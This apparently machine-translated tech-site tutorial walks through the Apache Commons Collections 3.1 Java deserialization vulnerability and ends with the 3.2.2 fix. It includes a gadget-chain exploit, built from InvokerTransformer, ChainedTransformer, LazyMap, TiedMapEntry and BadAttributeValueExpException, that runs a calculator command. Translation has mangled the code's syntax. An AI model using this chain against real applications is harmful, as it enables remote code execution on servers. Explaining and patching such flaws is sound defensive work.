Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Case Analysis of Java deserialization vulnerability

2025-01-25 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article introduces the relevant knowledge of "Java deserialization vulnerability instance Analysis". Many people will encounter such a dilemma in the operation of actual cases, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

Apache-Commons-Collections this framework, I believe that every Java programmer is no stranger, this is a very famous open source framework. However, he has actually been exposed to serialization security vulnerabilities that, like fastjson, can be executed remotely.

Background

Apache Commons is a project of the Apache Software Foundation. The purpose of Commons is to provide open source Java code that is reusable, solves a variety of practical common problems.

The Commons Collections package provides a fairly good complement to the Collections API of the Java standard. On this basis, the commonly used data structure operations are well encapsulated, abstracted and supplemented. Let's not only ensure performance, but also greatly simplify the code in the process of developing the application.

The latest version of Commons Collections is 4.4, but the more widely used version is 3.x. In fact, in versions below 3.2.1, there is a large security vulnerability that can be exploited for remote command execution.

The loophole was first disclosed in 2015, but the industry has long called it "the most undervalued loophole of 2015."

Because this class library is so widely used, the first one is a lot of Java Web Server, which swept the latest versions of WebLogic, WebSphere, JBoss, Jenkins and OpenNMS at that time.

After that, the two great gods Gabriel Lawrence and Chris Frohoff put forward in "Marshalling Pickles how deserializing objects can ruin your day" how to use Apache Commons Collection to implement arbitrary code execution.

Problem recurrence

This problem will mainly occur in the version 3.2.1 of Apache Commons Collections, which is tested with version 3.1 and the version of JDK is Java 8.

Using Transformer to attack

Commons Collections provides a Transformer interface that can be used for type conversion, and this interface has an implementation class related to the vulnerability we are going to talk about today, and that is InvokerTransformer. InvokerTransformer provides a transform method, which has only three lines of core code, and its main purpose is to instantiate the incoming object through reflection and then execute its iMethodName method.

The iMethodName to be called and the parameter iArgs to be used are actually set by the InvokerTransformer class when it is instantiated. The constructor of this class is as follows:

That is, with this class, you can theoretically execute any method. Then, we can use this class to execute external commands in Java.

We know that to execute external commands in Java, we need to use the form Runtime.getRuntime (). Exec (cmd), so we find a way to do this through the above utility class.

First, set the method and parameters we want to execute through the constructor of InvokerTransformer:

Transformer transformer = new InvokerTransformer ("exec"

New Class [] {String.class}

New Object [] {"open / Applications/Calculator.app"})

Through the constructor, we set the method to be named exec and the command to be executed as open / Applications/Calculator.app, that is, to open the calculator on the mac computer (windows command: C:\ Windows\\ System32\\ calc.exe).

Then, instantiate the Runtime class through InvokerTransformer:

Transformer.transform (Runtime.getRuntime ())

After running the program, an external command is executed to open the computer program on the computer:

At this point, we know that we can use InvokerTransformer to invoke external commands. Is it just necessary to serialize a custom InvokerTransformer into a string, and then deserialize it, and the interface implements remote command execution:

The attack is achieved by serializing the transformer object into a file, then reading it from the file, and executing its transform method.

You think it's over?

But if it had been that simple, the loophole would have been discovered a long time ago. If you want to really achieve an attack, there are a few more things to do.

Because, newTransformer.transform (Runtime.getRuntime ()); code like this, no one will actually write it in the code.

Without this line of code, can you still execute external commands?

This will take advantage of another tool provided in Commons Collections, which is ChainedTransformer, which is the implementation class of Transformer.

The ChainedTransformer class provides a transform method whose function iterates through his iTransformers array, then calls its transform method in turn, returning an object each time, and this object can be used as an argument to the next call.

Then, we can take advantage of this feature to implement the same function as transformer.transform (Runtime.getRuntime ()); ourselves:

Transformer [] transformers = new Transformer [] {

/ / get the Runtime class through the built-in ConstantTransformer

New ConstantTransformer (Runtime.class)

/ / reflection calls the getMethod method, and then the getMethod method reflects the call to the getRuntime method, returning the Runtime.getRuntime () method

New InvokerTransformer ("getMethod"

New Class [] {String.class, Class [] .class}

New Object [] {"getRuntime", new Class [0]})

/ / reflection calls the invoke method, and then the reflection executes the Runtime.getRuntime () method and returns the Runtime instantiated object.

New InvokerTransformer ("invoke"

New Class [] {Object.class, Object [] .class}

New Object [] {null, new Object [0]})

/ / reflection calls the exec method

New InvokerTransformer ("exec"

New Class [] {String.class}

New Object [] {"open / Applications/Calculator.app"})

}

Transformer transformerChain = new ChainedTransformer (transformers)

After getting a transformerChain, you can directly call its transform method and pass in any parameters. After execution, you can also open the local calculator program:

So, with serialization, the attack now goes a step further, eliminating the need to pass in newTransformer.transform (Runtime.getRuntime ()); such code, as long as there is a call to the transformer.transform () method in the code, no matter what parameters are in it:

Attackers will not be satisfied with this.

However, in general, no programmer will write such code in the code.

In that case, the means of attack need to go one step further and truly "do not require the cooperation of programmers".

As a result, attackers found that a LazyMap class was provided in Commons Collections, and the get of this class called the transform method. Commons Collections really knows what hackers think. )

So, the direction of the attack now is to find a way to call the get method of LazyMap and set the factory in it as our serialized object.

You can find that the getValue method of the TiedMapEntry class in Commons Collections will be called to the get method of LazyMap, and the getValue of the TiedMapEntry class will be called by the toString () method.

Public String toString () {

Return getKey () + "=" + getValue ()

}

Public Object getValue () {

Return map.get (key)

}

So, the barrier to attack is a little lower now, as long as we construct a TiedMapEntry and serialize it, so that whenever someone gets the serialized object and calls his toString method, the bug will be automatically triggered.

Transformer transformerChain = new ChainedTransformer (transformers)

Map innerMap = new HashMap ()

Map lazyMap = LazyMap.decorate (innerMap, transformerChain)

TiedMapEntry entry = new TiedMapEntry (lazyMap, "key")

We know that toString is implicitly called in many cases, such as output (System.out.println (ois.readObject ());). The code example is as follows:

Now, hackers only need to upload the serialized content of the self-constructed TiedMapEntry to the application, and after deserialization, the application will be attacked if it calls toString.

As long as you deserialize, you will be attacked.

So, is there any way that code can be attacked simply by deserializing what we've prepared?

It has really been discovered, as long as the following conditions are met:

That is, the readObject of a class will call the relevant methods of LazyMap or TiedMapEntry mentioned above. Because when Java deserializes, the object's readObject method is called.

Through in-depth mining, hackers found classes such as BadAttributeValueExpException, AnnotationInvocationHandler and so on.

Here, take BadAttributeValueExpException as an example.

The BadAttributeValueExpException class is an exception class provided in Java, and its readObject method calls the toString method directly:

In that case, the attacker only needs to find a way to assign the object of TiedMapEntry to the valObj in the code.

By reading the source code, we find that all we have to do is set the member variable val in the BadAttributeValueExpException class to an object of type TiedMapEntry.

This is simple, and can be achieved through reflection:

Transformer transformerChain = new ChainedTransformer (transformers)

Map innerMap = new HashMap ()

Map lazyMap = LazyMap.decorate (innerMap, transformerChain)

TiedMapEntry entry = new TiedMapEntry (lazyMap, "key")

BadAttributeValueExpException poc = new BadAttributeValueExpException (null)

/ / val is a private variable, so use the following method for assignment

Field valfield = poc.getClass () .getDeclaredField ("val")

Valfield.setAccessible (true)

Valfield.set (poc, entry)

So, at this point, the attack is very simple, just serialize the BadAttributeValueExpException object into a string, and as long as the string content is deserialized, it will be attacked.

Problem solving

Above, we reproduce a remote code execution vulnerability related to deserialization caused by this Apache Commons Collections class library.

Through the analysis of this vulnerability, we can find that as long as there is a place where the code is not rigorous enough, it may be exploited by attackers.

Because this vulnerability has a wide range of impact, it was fixed after it was exposed, and developers only need to upgrade the Apache Commons Collections class library to version 3.2.2 to avoid it.

Version 3.2.2 adds switches to serialization support for some unsafe Java classes, which are off by default. The classes involved include

CloneTransformer

ForClosure

InstantiateFactory

InstantiateTransformer

InvokerTransformer

PrototypeCloneFactory

PrototypeSerializationFactory

WhileClosure

For example, in the InvokerTransformer class, you implement the writeObject () and readObject () methods related to serialization:

In both methods, the relevant verification of serialization security is performed, and the verification implementation code is as follows: during serialization and deserialization, it checks whether serialization support for some unsafe classes is disabled, and if it is disabled, UnsupportedOperationException is thrown and the switch for this feature is set through org.apache.commons.collections.enableUnsafeSerialization.

After upgrading Apache Commons Collections to 3.2.2, execute the sample code in this article and the error will be reported as follows:

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to' true', but you must ensure that your application does not de-serialize objects from untrusted sources.

At org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization (FunctorUtils.java:183)

At org.apache.commons.collections.functors.InvokerTransformer.writeObject (InvokerTransformer.java:155)

This is the end of "Java deserialization vulnerability instance Analysis". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 249

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report